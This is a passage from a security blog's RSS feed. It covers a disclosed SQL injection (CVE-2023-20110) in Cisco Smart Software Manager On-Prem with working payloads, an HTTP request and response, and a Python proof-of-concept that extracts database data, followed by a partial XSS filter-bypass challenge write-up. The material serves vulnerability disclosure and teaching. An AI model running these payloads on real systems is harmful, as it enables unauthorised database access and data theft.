&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;lower(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;) LIKE &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; OR &apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT COUNT(*) FROM &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;notifications&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; WHERE (message_type IN (&apos;Satellite Registered&apos;, &apos;Satellite Re-Registration&apos;, &apos;Account Activation&apos;,&apos;Account Removed&apos;,&apos;Account Requested&apos;,&apos;Account Request Rejected&apos;)) AND (&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&quot;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The above script does the following:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Our payload is passed to the function in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter_by&lt;/code&gt; variable,&lt;/li&gt;
  &lt;li&gt;Then the script lowercases the variable then prepends and appends ‘%’ to string,&lt;/li&gt;
  &lt;li&gt;Creates an array from string splitted by comma,&lt;/li&gt;
  &lt;li&gt;Runs map method for the array, and for each element create string “lower(value_of_column) LIKE search_key”,&lt;/li&gt;
  &lt;li&gt;Joins all the elements with ‘ OR ‘ string.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In example if we send the following payload:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /backend/notifications/search_account_notifications.json?
filter_by=INJECTION,bbb,ccc,ddd&amp;amp;filter_val=eee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We and up with following query:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT COUNT(*) FROM &quot;notifications&quot; WHERE (message_type IN (&apos;Satellite Registered&apos;, &apos;Satellite Re-Registration&apos;, &apos;Account Activation&apos;,&apos;Account Removed&apos;,&apos;Account Requested&apos;,&apos;Account Request Rejected&apos;)) AND (lower(INJECTION) LIKE %eee% OR lower(bbb) LIKE %eee% OR lower(ccc) LIKE %eee% OR lower(ddd) LIKE %eee%)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After some trial and error, I was able to craft the following error-based payload that seemed to be working:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;message_type)) LIKE &apos;%&apos; OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE &apos;P%&apos;) THEN 0 ELSE 1 END)--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It uses division by zero to trigger an error when our condition is met. In this case we are trying to extract PostgreSQL version banner. The final query with payload looked as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT COUNT(*) FROM &quot;notifications&quot; WHERE (message_type IN (&apos;Satellite Registered&apos;, &apos;Satellite Re-Registration&apos;, &apos;Account Activation&apos;,&apos;Account Removed&apos;,&apos;Account Requested&apos;,&apos;Account Request Rejected&apos;)) AND (lower(message_type)) LIKE &apos;%&apos; OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE &apos;P%&apos;) THEN 0 ELSE 1 END)-- ) LIKE %eee% OR lower(bbb) LIKE %eee% OR lower(ccc) LIKE %eee% OR lower(ddd) LIKE %eee%)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I was happy to see that the payload worked when it was sent to the server. The application returned division by zero error indicating that our statement was true.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request with working payload:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /backend/notifications/search_account_notifications.json?filter_by=message_type))+LIKE+&apos;%25&apos;+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+&apos;P%25&apos;)+THEN+0+ELSE+1+END)--+,bbb,ccc,ddd&amp;amp;filter_val=eee&amp;amp;offset=0&amp;amp;limit=10 HTTP/1.1
Host: 192.168.29.139:8443
Cookie: _lic_engine_session=REDACTED; XSRFTOKEN=REDACTED
Accept: application/json
Content-Type: application/json
Connection: close
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Response with SQL error:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx
Date: Fri, 14 Jul 2023 08:57:46 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 107

{&quot;error&quot;:&quot;ActiveRecord::StatementInvalid&quot;,&quot;error_message&quot;:&quot;PG::DivisionByZero: ERROR: division by zero\n&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using python, I created a PoC script to get full extraction of DBMS banner:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&quot;
Smart Software Manager On-Prem Release 8-202212 - Authenticated SQL Injection in &apos;filter_by&apos; parameter
Download link: https://software.cisco.com/download/home/286285506/type/286326948/release/8-202212

Usage:
1. Update host and cookies variables,
2. Run `python3 exploit.py`

Tested on Ubuntu 22.04.1 LTS, Python 3.10.6

by redfr0g@stmcyber 2023
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;warnings&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# script parameters, update accoridingly&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;IP&amp;gt;:8443&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;_lic_engine_session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;COOKIE&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;XSRF-TOKEN&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;CSRFTOKEN&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+&apos;P%25&apos;)+THEN+0+ELSE+1+END)--%20&amp;amp;filter_val=a&amp;amp;offset=0&amp;amp;limit=10&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Accept&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;printable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;True&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[+] Cisco Smart Software Manager Release 8-202212 SQL Injection PoC&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[+] Starting DBMS banner enumeration...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# do error based sql injection until no match found&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;search:
    &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;chars:
        &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+&apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%25&apos;)+THEN+0+ELSE+1+END)--%20&amp;amp;filter_val=a&amp;amp;offset=0&amp;amp;limit=10&quot;&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# disable invalid cert warnings&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;warnings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;catch_warnings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;warnings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;simplefilter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ignore&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;PG::DivisionByZero&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# update and print result&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[+] DBMS Banner: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# stop search if no match found&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;search&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;False&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The script is fairly easy to use, you just have to replace SSM server IP address, and admin cookies to send authenticated request. You can also download the script from my &lt;a href=&quot;https://github.com/redfr0g/CVE-2023-20110&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The results of the working PoC script are in the video below.&lt;/p&gt;

&lt;script async=&quot;&quot; id=&quot;asciicast-DkOj7pD9fIBPClZwf1tvW7Tft&quot; src=&quot;https://asciinema.org/a/DkOj7pD9fIBPClZwf1tvW7Tft.js&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;advisory&quot;&gt;Advisory&lt;/h2&gt;
&lt;p&gt;The vulnerability was reported to Cisco PSIRT and you can find the advisory &lt;a href=&quot;https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ssm-sql-X9MmjSYh&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;cve&quot;&gt;CVE&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;CVE-2023-20110 - Cisco Smart Software Manager On-Prem SQL Injection Vulnerability&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;23.01.2023 - vulnerability reported to Cisco PSIRT,&lt;/li&gt;
  &lt;li&gt;23.01.2023 - first response from Cisco,&lt;/li&gt;
  &lt;li&gt;07.02.2023 - successful reproduction of the vulerability by Cisco and identification of the root cause of the bug,&lt;/li&gt;
  &lt;li&gt;10.05.2023 - CVE-2023-20110 is assigned to the vulnerability,&lt;/li&gt;
  &lt;li&gt;18.05.2023 - security advisory is published by Cisco,&lt;/li&gt;
  &lt;li&gt;19.05.2023 - approved to make vulnerability disclosure by Cisco,&lt;/li&gt;
  &lt;li&gt;17.07.2023 - disclosure in blog post.&lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>Sun, 16 Jul 2023 03:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2023/07/16/cisco-ssm-sql-injection.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2023/07/16/cisco-ssm-sql-injection.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>Yeswehack&apos;s Dojo #17 XSS challenge writeup</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/ywh_dojo_17_logo.png&quot; alt=&quot;ywh_dojo_17_logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is a short writeup of the lastest Yeswehack’s Dojo challenge. The challnege is all about bypassing the XSS filter and exfiltrating sensitive data. From the challenge &lt;a href=&quot;https://yeswehack.com/programs/dojo&quot;&gt;description&lt;/a&gt;, we can read the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;This code runs a JavaScript code inside a script that craft a “secret” variable,&lt;/li&gt;
  &lt;li&gt;Execute Javascript (XSS) and alert (popup) the value of the original variable secret,&lt;/li&gt;
  &lt;li&gt;Alert (popup) the value of the original variable secret.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So to solve this challenge we have to bypass the filter and get our hands on some “secret” variable. When we open the challene page we can see the following code snippet where the injection happens.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;$inject&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//Get Access and *alert()* the &quot;secret&quot; variable! &lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;date&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addOn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Pa$$w0rd&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addOn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;date&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Our injection point is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$inject&lt;/code&gt; variable. I decided to try a standard quote-closing payload only to see that the XSS filter blocked some of the payload. This was the result of payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&quot; onerror=&quot;alert(document.domain)&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__Nope__onerror__Nope__&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;alert(document.domain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We can see that the filter used the following rules to neutralize our payload:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/ywh_dojo_17_1.png&quot; alt=&quot;ywh_dojo_17_1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So no HTML tag injection, JavaScript events or pointing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; attribute to our own server as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;://&lt;/code&gt; part is filtered and for some reason the script source cannot be loaded with double backslash (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\&lt;/code&gt;) bypass. Then I remembered that the script resources can be loaded with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data:&lt;/code&gt; URI &lt;a href=&quot;https://en.wikipedia.org/wiki/Data_URI_scheme&quot;&gt;scheme&lt;/a&gt;. We can base64-encode our JavaScript payload and then pass it to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; attribute using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data:&lt;/code&gt; scheme which is not filtered! I quickly crafted the following payload:&lt;/p&gt;

&lt;h3 id=&quot;plaintext-payload-1&quot;&gt;Plaintext Payload 1&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alert(&quot;XSS&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;base64-encoded-payload-1-with-data-uri-scheme&quot;&gt;Base64-encoded Payload 1 with ‘data’ URI scheme&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;data:;base64,YWxlcnQoIlhTUyIp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

